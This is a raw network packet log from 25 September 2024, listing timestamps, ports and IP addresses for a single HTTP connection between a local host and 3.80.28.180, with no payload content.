Sep 25, 2024 03:51:29.975425959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975436926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975450039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975462914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975474119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975475073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975521088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975693941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975706100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975717068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975728035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975789070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975789070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975827932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975840092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975851059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975862026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975873947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975887060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975898981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975904942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975904942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975956917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976191044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976202011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976212978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976224899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976237059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976248980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976259947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976264000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976277113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976289988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976300001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976303101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976324081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976361036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976587057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976598024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976608038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976619959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976632118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976643085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976655006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976666927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976666927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976682901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976694107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976696014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976711988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.976721048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976758003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976758003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.976953983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977159023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977170944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977180958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977217913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977230072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977241993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977251053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977251053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977255106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977269888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977281094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977293015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977303982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977313042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977318048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977330923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977346897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977376938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977376938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977755070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977766991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977780104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977792025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977802992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977812052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977817059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977830887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977838993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977844000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977859020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977869987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977875948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977881908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.977925062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.977925062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978144884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978157043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978168011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978179932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978208065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978257895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978296995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978308916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978317976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978331089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978343964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978355885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978369951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978379011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978383064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978396893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978399992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978410006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978420973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978430986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978440046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978440046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978444099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978456974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978473902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978485107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978497982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978507042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.978523970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978523970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978574991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.978574991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.019520998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019542933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019553900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019587994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.019634008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019645929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019673109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019685984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.019726992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.019742012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019754887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.019800901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065305948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065318108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065329075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065370083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065380096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065392017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065399885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065404892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065417051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065452099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065601110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065613031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065623045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065637112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065649033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065673113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065673113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065700054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.065764904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065834045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065845013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065859079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065869093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065879107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.065902948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066025972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066041946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066188097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066199064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066209078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066219091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066230059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066241026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066245079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066251993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066265106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066286087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066330910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066498041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066632032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066673040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066683054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066692114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066701889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066711903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066724062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066734076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066745043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066755056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066765070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066775084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066775084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066775084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066786051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066797972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066808939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.066822052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066876888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.066876888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067122936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067133904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067178965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067189932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067189932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067250967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067262888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067275047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067308903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067321062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067329884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067332983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067392111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067528963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067538977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067553043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067589045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067595959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067595959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067600965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067612886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067626953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067639112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067648888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067655087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067720890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.067943096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067962885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067972898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067982912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.067995071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068005085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068016052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068027020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068043947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068088055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068126917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068332911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068344116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068353891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068434000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068540096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068551064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068559885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068571091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068579912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068591118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068599939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068599939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068612099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068623066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068633080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068644047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068653107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068656921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068665028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068676949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.068692923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.068734884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069154024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069164038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069175005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069184065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069228888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069238901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069240093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069240093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069250107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069264889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069276094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069286108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069295883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069303989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069303989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069308043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069328070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069339991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069349051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069395065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069757938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069768906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069777966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069787025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069797993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069808960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069808960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069823027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069835901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069845915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069856882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069868088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069879055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.069880009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069880009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.069911957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.124207020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.130027056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130052090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130063057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130182028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130187988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.130193949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130208015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130219936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.130239010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.130284071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.192755938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192791939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192807913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192823887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192837000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.192843914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192861080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192954063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.192992926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193008900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193018913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193018913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193026066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193042040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193057060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193075895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193082094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193095922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193154097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193154097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193181038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193195105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193209887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193226099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193243027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193243980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193356991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193358898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193372965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193396091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193409920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193423033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193425894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193481922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193481922 CEST	49730	80	192.168.2.4	3.80.28.180
